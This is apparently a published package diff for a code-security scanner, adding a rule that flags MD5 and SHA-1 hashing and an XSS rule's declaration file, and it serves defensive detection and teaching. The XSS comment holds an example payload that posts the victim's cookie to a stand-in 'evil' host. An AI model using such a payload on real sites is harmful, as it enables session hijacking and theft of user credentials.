@sikkuumiii/defuse 0.0.0-stage → 0.5.0

package/dist/src/rules/weak-hash.js

@@ -0,0 +1,197 @@
+/**
+ * WEAK / BROKEN CRYPTOGRAPHIC HASH  (CWE-327, CWE-328,
+ * OWASP A04:2025 - Cryptographic Failures)
+ *
+ * WHAT A HASH IS, in plain language:
+ * A hash function turns any input into a fixed-length fingerprint. Two
+ * properties are supposed to hold: you cannot work backwards from the
+ * fingerprint to the input, and you cannot find two different inputs with the
+ * same fingerprint (a "collision").
+ *
+ * MD5 and SHA-1 no longer have the second property. Collisions in MD5 are
+ * trivial today - seconds on a laptop. SHA-1 collisions were demonstrated in
+ * 2017 and have only got cheaper. Anything that relies on "this fingerprint
+ * uniquely identifies this content" - signatures, integrity checks, tokens -
+ * is broken when built on them.
+ *
+ * PASSWORDS ARE A SEPARATE PROBLEM, and a worse one:
+ * MD5 and SHA-1 are FAST, and for password storage fast is the flaw. A modern
+ * GPU tries billions of MD5 guesses per second, so a stolen table of MD5
+ * password hashes is effectively a table of passwords. Password hashing needs a
+ * function designed to be SLOW and memory-hungry - bcrypt, scrypt, or Argon2 -
+ * with a unique random salt per password.
+ *
+ * WHAT TO USE INSTEAD:
+ *   integrity / fingerprints -> SHA-256 or SHA-3
+ *   passwords                -> Argon2id, scrypt, or bcrypt
+ *   message authentication   -> HMAC-SHA256
+ *
+ * HONESTY NOTE, and it is a real one:
+ * MD5 is still perfectly reasonable for NON-security work - cache keys, ETags,
+ * sharding, deduplication, "has this file changed". A scanner cannot tell why
+ * you called it. So this rule is severity MEDIUM, not high, and every finding
+ * says out loud that purpose is unknown. Flagging a cache key as a critical
+ * vulnerability is how security tools train people to ignore them.
+ */
+import { asCall } from './contract.js';
+import { unquote } from './lib/strings.js';
+/** Constructors whose NAME alone identifies the algorithm. */
+const DIRECT_WEAK_CALLS = {
+    javascript: [],
+    typescript: [],
+    python: ['md5', 'sha1'], // hashlib.md5(...)
+    java: ['md5Hex', 'sha1Hex', 'md5', 'sha1'], // Apache DigestUtils
+    go: ['New', 'Sum', 'New224'], // md5.New(), sha1.Sum() - receiver tells us which
+    php: ['md5', 'sha1', 'md5_file', 'sha1_file', 'crc32'],
+    /*
+     * OpenSSL's one-shot and streaming APIs, which is how virtually all C code
+     * hashes anything. MD5(), SHA1() and their _Init/_Update/_Final triples name
+     * the algorithm in the symbol, so the name alone is the whole signal - no
+     * receiver scoping needed, unlike Go's `md5.New()`.
+     */
+    c: ['MD5', 'SHA1', 'MD5_Init', 'SHA1_Init', 'MD4', 'MD4_Init', 'CC_MD5', 'CC_SHA1'],
+    cpp: ['MD5', 'SHA1', 'MD5_Init', 'SHA1_Init', 'MD4', 'MD4_Init', 'CC_MD5', 'CC_SHA1'],
+};
+/** Calls that take the algorithm as a STRING argument. */
+const ALGORITHM_ARG_CALLS = {
+    javascript: ['createHash', 'createHmac'],
+    typescript: ['createHash', 'createHmac'],
+    python: ['new'], // hashlib.new("md5")
+    java: ['getInstance'], // MessageDigest.getInstance("MD5")
+    go: [],
+    php: ['hash', 'hash_file', 'hash_init'], // hash("md5", $x)
+    // EVP_get_digestbyname("md5") is the string-argument form in OpenSSL.
+    c: ['EVP_get_digestbyname', 'EVP_MD_fetch'],
+    cpp: ['EVP_get_digestbyname', 'EVP_MD_fetch'],
+};
+const WEAK_ALGORITHMS = /^(md[245]|sha-?1|md5-sess|ripemd128?)$/i;
+/** Receivers that identify a weak package, e.g. Go's `md5.New()`. */
+const WEAK_RECEIVERS = /^(md5|sha1)$/i;
+const PASSWORDISH = /pass(word|wd)?|pwd|credential|login|auth/i;
+export const weakHashRule = {
+    id: 'weak-hash',
+    name: 'Broken or unsuitable hash algorithm',
+    cwe: 'CWE-327',
+    owasp: 'A04:2025 Cryptographic Failures',
+    severity: 'medium',
+    summary: 'MD5 or SHA-1 is used where security depends on it, and both can be broken cheaply today.',
+    fix: 'Use SHA-256 for integrity, HMAC-SHA256 for authentication, and Argon2id or bcrypt for passwords.',
+    explanation: 'MD5 and SHA-1 are broken for security use: finding two inputs with the same ' +
+        'fingerprint is cheap today, so they cannot be trusted for signatures or integrity. ' +
+        'They are also far too fast for password storage, where a GPU can try billions of ' +
+        'guesses per second. Use SHA-256 for integrity, HMAC-SHA256 for authentication, ' +
+        'and Argon2id/scrypt/bcrypt for passwords.',
+    limitations: 'UNVERIFIED (signature-based): we identified the algorithm from the call, not the ' +
+        'purpose. MD5 used for a cache key, an ETag or deduplication is FINE and this ' +
+        'finding is then a false positive. We cannot see what the digest is USED for. The ' +
+        'taint engine follows attacker input forwards into sinks; answering "what happens to ' +
+        'this hash afterwards" is the opposite direction and is not implemented. The one ' +
+        'exception is Python\'s `usedforsecurity=False`, which states the purpose in the call: ' +
+        'such a call is withdrawn and listed as proved clean, and the receipt says it rests ' +
+        'on that statement being true.',
+    shapes: ['call'],
+    support: {
+        javascript: {
+            status: 'implemented',
+            note: "Node crypto.createHash('md5'|'sha1') and createHmac. Third-party libraries with their own APIs (crypto-js, blueimp-md5) are not covered.",
+        },
+        typescript: { status: 'implemented', note: 'Identical to JavaScript.' },
+        python: {
+            status: 'implemented',
+            note: 'hashlib.md5/sha1 and hashlib.new("md5"). A call passing the literal keyword `usedforsecurity=False` (Python 3.9+) is withdrawn with a proved-clean receipt: it is the programmer stating in the code that the digest is not for security. A flag held in a variable is not read, and still reports.',
+        },
+        java: {
+            status: 'implemented',
+            note: 'MessageDigest.getInstance("MD5"/"SHA-1") and Apache Commons DigestUtils.md5Hex/sha1Hex. Algorithm names built from a variable are not resolved.',
+        },
+        go: {
+            status: 'partial',
+            note: 'PARTIAL: matched by receiver package name (md5.New, sha1.Sum). If the package is imported under an alias (`import h "crypto/md5"`) we will miss it, because we match on the receiver text rather than on resolved imports.',
+        },
+        php: {
+            status: 'implemented',
+            note: 'Covers md5(), sha1(), their _file variants, crc32(), and hash("md5", ...). PHP names the algorithm in the function itself far more often than the others do, which makes this the most reliable weak-hash coverage in the tool.',
+        },
+        c: {
+            status: 'implemented',
+            note: 'OpenSSL\'s one-shot and streaming APIs, which is how nearly all C code hashes: MD5, SHA1, MD4 and their _Init variants, plus Apple\'s CC_MD5/CC_SHA1 and the string-argument form EVP_get_digestbyname("md5"). The algorithm is named in the symbol itself, so no receiver scoping is needed - which makes this more reliable in C than the Go coverage, where the package name is the only clue.',
+        },
+        cpp: {
+            status: 'implemented',
+            note: 'Every C entry applies unchanged, since C++ inherits the whole libc surface and real code still uses it. Namespace-qualified calls (std::system) and method calls on objects are recognised in addition.',
+        },
+    },
+    check(shape, ctx) {
+        const call = asCall(shape);
+        if (!call)
+            return null;
+        const language = ctx.language;
+        const report = (algorithm, evidence) => {
+            const wholeCall = call.node.text ?? '';
+            const looksLikePasswordUse = PASSWORDISH.test(wholeCall);
+            return {
+                node: call.node,
+                severity: looksLikePasswordUse ? 'high' : 'medium',
+                message: `${algorithm.toUpperCase()} used via ${call.calleeText}()`,
+                reasoning: `${evidence} ${algorithm.toUpperCase()} is a broken hash for security purposes: ` +
+                    `producing two different inputs with the same digest is cheap on ordinary ` +
+                    `hardware, and the function is fast enough that guessing inputs is cheap too. ` +
+                    (looksLikePasswordUse
+                        ? `The surrounding code mentions a password or credential, which makes this a ` +
+                            `likely password-hashing use - the worst case. Use Argon2id, scrypt or bcrypt.`
+                        : `We cannot tell what this digest is for. If it is a cache key or a checksum ` +
+                            `this is harmless; if it protects anything, move to SHA-256 or HMAC-SHA256.`),
+            };
+        };
+        /*
+         * PYTHON SAYS WHAT THE HASH IS FOR. `hashlib.md5(x, usedforsecurity=False)`
+         * is the one place the purpose this rule cannot see is written in the call
+         * (Python 3.9+). The keyword must be a real keyword argument with the
+         * literal False - not text in a comment or a string, not a variable - and
+         * the withdrawal leaves a receipt saying what it rests on
+         * (tests/fixtures/vulnerable/hash-purpose.py).
+         */
+        const declaredNotForSecurity = language === 'python' &&
+            call.args.some((arg) => arg.type === 'keyword_argument' &&
+                arg.childForFieldName('name')?.text === 'usedforsecurity' &&
+                arg.childForFieldName('value')?.type === 'false');
+        const withdraw = (algorithm) => {
+            ctx.noteClean?.('weak-hash', call.node, `The call passes usedforsecurity=False: Python's own declaration that this ` +
+                `${algorithm.toUpperCase()} digest is not used for security (a cache key, an ETag, a ` +
+                `checksum), so it is not reported. This rests on that statement being true - if the ` +
+                `digest does protect something, the declaration is wrong and so is this receipt.`);
+            return null;
+        };
+        /* ---- Algorithm named in a string argument: createHash("md5") ---- */
+        if (ALGORITHM_ARG_CALLS[language].includes(call.calleeName)) {
+            for (const arg of call.args) {
+                const text = unquote((arg.text ?? '').trim());
+                if (WEAK_ALGORITHMS.test(text)) {
+                    if (declaredNotForSecurity)
+                        return withdraw(text);
+                    return report(text, `\`${call.calleeText}("${text}")\` selects the algorithm by name.`);
+                }
+            }
+            return null;
+        }
+        /* ---- Algorithm implied by the function or package name ---- */
+        if (DIRECT_WEAK_CALLS[language].includes(call.calleeName)) {
+            // Go: md5.New() - the receiver is the package. Python: hashlib.md5().
+            if (WEAK_RECEIVERS.test(call.receiverText)) {
+                return report(call.receiverText, `\`${call.calleeText}()\` comes from the ${call.receiverText} package.`);
+            }
+            if (WEAK_ALGORITHMS.test(call.calleeName)) {
+                if (declaredNotForSecurity)
+                    return withdraw(call.calleeName);
+                return report(call.calleeName, `\`${call.calleeText}()\` names the algorithm directly.`);
+            }
+            // DigestUtils.md5Hex / sha1Hex
+            const stripped = call.calleeName.replace(/(Hex|Base64|Digest)$/i, '');
+            if (WEAK_ALGORITHMS.test(stripped)) {
+                return report(stripped, `\`${call.calleeText}()\` names the algorithm directly.`);
+            }
+        }
+        return null;
+    },
+};
+//# sourceMappingURL=weak-hash.js.map

package/dist/src/rules/weak-hash.js.map

@@ -0,0 +1 @@
+{"version":3,"file":"weak-hash.js","sourceRoot":"","sources":["../../../src/rules/weak-hash.ts"],"names":[],"mappings":"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"}

package/dist/src/rules/xss.d.ts

@@ -0,0 +1,38 @@
+/**
+ * CROSS-SITE SCRIPTING - XSS  (CWE-79, OWASP A05:2025 - Injection)
+ *
+ * WHAT THE BUG IS, in plain language:
+ * A browser reads HTML as instructions. `<script>` doesn't display the word
+ * "script" - it runs code. So if your page inserts user-supplied text into HTML
+ * without escaping it, the user can supply `<script>...</script>` and their code
+ * runs inside YOUR page, with your user's session, cookies and permissions.
+ *
+ *     element.innerHTML = "Welcome " + userName;
+ *
+ * If `userName` is `<img src=x onerror=fetch('//evil/'+document.cookie)>`, the
+ * browser dutifully loads a broken image, fires the error handler, and posts
+ * the victim's session cookie to the attacker. The user never clicked anything.
+ *
+ * WHY IT'S CALLED "CROSS-SITE": the attacker's code runs on your site's origin,
+ * so the browser trusts it exactly as much as it trusts you. Same-origin policy
+ * - the rule that stops evil.com reading your bank tab - is on the attacker's
+ * side now.
+ *
+ * THE FIX:
+ *   - Use the text API, not the HTML API: `textContent` instead of `innerHTML`.
+ *     `textContent` never parses tags; `<script>` becomes visible characters.
+ *   - When you genuinely need HTML, escape it (< becomes &lt;) or run it through
+ *     a sanitiser like DOMPurify that removes scripts and event handlers.
+ *   - Template engines that auto-escape (React JSX, Jinja2, Go html/template)
+ *     do this for you - which is exactly why the "escape hatches" in those
+ *     libraries (dangerouslySetInnerHTML, |safe, template.HTML) are the places
+ *     this rule watches.
+ *
+ * ESCAPING vs SANITISING (they are different, and people mix them up):
+ * ESCAPING turns markup into visible text - safest, use it by default.
+ * SANITISING keeps the markup but strips the dangerous parts - only when the
+ * user is genuinely allowed to send HTML, and only with a real library.
+ */
+import { type Rule } from './contract.js';
+export declare function looksLikeAnEscaperCall(text: string): boolean;
+export declare const xssRule: Rule;